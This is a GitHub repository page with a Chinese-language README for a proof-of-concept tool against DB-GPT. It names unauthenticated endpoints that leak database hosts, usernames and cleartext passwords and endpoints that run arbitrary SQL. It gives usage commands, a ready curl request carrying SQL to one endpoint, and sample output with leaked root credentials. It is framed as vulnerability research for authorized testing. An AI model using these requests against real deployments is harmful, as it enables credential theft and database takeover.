6jeffr3y/CNVD-2026-12436-and-CVE-2024-10835

GitHub: 6jeffr3y/CNVD-2026-12436-and-CVE-2024-10835

DB-GPT 数据库配置信息泄露与未授权 SQL 执行漏洞的 PoC 验证工具,支持自动获取凭据并执行任意 SQL 语句。

Stars: 0 | Forks: 0

# DBGPT 未授权信息泄露与 SQL 执行 PoC ## 漏洞描述 本工具集成了 DBGPT 中两个关键漏洞的 PoC 脚本,涉及敏感信息泄露和未授权任意 SQL 执行。 ### 1. 信息泄露 - **漏洞 ID**: CNVD-2026-12436 / CVE-2024-10835 (相关) - **受影响端点**: `/api/v2/serve/datasources`, `/api/v1/chat/db/list` - **影响**: 未授权攻击者可直接访问数据库配置接口,获取包括数据库主机、端口、用户名和**明文密码**在内的敏感信息。 ### 2. 未授权 SQL 执行 - **受影响端点**: `/api/v1/editor/chart/run`, `/api/v1/sql/exec`, `/api/v1/editor/db/run` - **影响**: 攻击者可利用泄露或猜测的数据库名称 (`db_name`) 构造恶意图表生成请求,在目标数据库上执行任意 SQL 语句。 ## 环境要求 - Python 3.x - requests ``` pip install requests ``` ## 使用方法 ``` python dbgpt_poc.py -u [options] ``` ### 参数说明 - `-u, --url`: 目标 DBGPT 服务器 URL (例如 `https://dbgpt.example.com`) - `-s, --sql`: 要执行的 SQL 查询 (默认: `SELECT VERSION();`) - `--db`: 指定要利用的数据库名称 (可选。如果未指定,脚本会尝试从泄露的数据源中提取) - `--curl`: 仅生成 cURL 命令,不执行请求 (适用于手动复现或绕过 WAF) ## 示例 ### 1. 自动检测与验证 最简单的用法。脚本会自动尝试获取数据库凭据,并在第一个发现的数据库上执行版本查询。 ``` python dbgpt_poc.py -u https://dbgpt.example.com ``` ### 2. 执行自定义 SQL 获取当前数据库用户: ``` python dbgpt_poc.py -u https://dbgpt.example.com --sql "SELECT user();" ``` 列出所有表名: ``` python dbgpt_poc.py -u https://dbgpt.example.com --sql "SHOW TABLES;" ``` ### 3. 指定数据库名称 如果自动检测失败,但您知道目标数据库名称 (例如 `test_db`): ``` python dbgpt_poc.py -u https://dbgpt.example.com --db "test_db" --sql "SELECT VERSION();" ``` ### 4. 生成 cURL 命令 (新!) 生成可在终端执行的 cURL 命令,用于手动验证或调试: ``` python dbgpt_poc.py -u http://target.com --db "test_db" --sql "SELECT version();" --curl ``` 输出示例: ``` [+] Generated cURL command: curl -X POST "http://target.com/api/v1/editor/chart/run" -H "Content-Type: application/json" -d '{"db_name": "test_db", "chart_type": "bar", "sql": "SELECT version();"}' ``` ## 漏洞利用演示 ### 场景 1: 获取数据库敏感配置 运行 PoC 后,阶段 1 的输出直接显示了数据库凭据: ``` [+] Found 1 Database Configurations: [1] Database ID: 1 Name : target_db Type : mysql Host : 127.0.0.1 Port : 3306 User : root Password : ****** <-- Cleartext password leaked ``` ### 场景 2: 执行任意 SQL 查询 阶段 2 自动适应数据库类型并执行查询: ``` [+] Target: target_db (Type: mysql) [*] Executing SQL on database 'target_db': SHOW TABLES; [+] SQL Execution Successful! Columns: ['Tables_in_target_db'] Results: ['users'] ['orders'] ['products'] ``` ## 常见问题 **Q: 为什么阶段 2 报告 `unexpected keyword argument 'params'`?** A: 这是目标服务器后端代码的一个 bug (常见于 PostgreSQL 环境)。脚本会自动尝试多个端点以绕过此问题。如果仍然失败,建议使用在 `阶段 1` 中获取的凭据直接连接数据库。 **Q: 如何适配 Oracle/SQL Server?** A: 脚本内置了智能 SQL 适配功能。它会根据阶段 1 检测到的数据库类型,自动将默认的 `SELECT VERSION()` 替换为 `SELECT * FROM v$version` (Oracle) 或 `SELECT @@VERSION` (MSSQL)。 ## 免责声明 本工具仅供安全研究和授权测试使用。严禁用于非法用途。用户需自行承担因使用本工具而产生的任何后果的所有责任。
标签:AI安全, API安全, Chat Copilot, CISA项目, CNVD-2026-12436, CVE-2024-10835, DB-GPT, JSON输出, PE 加载器, PoC, Python, 信息泄露, 安全漏洞, 敏感信息提取, 无后门, 暴力破解, 未授权访问, 网络安全, 隐私保护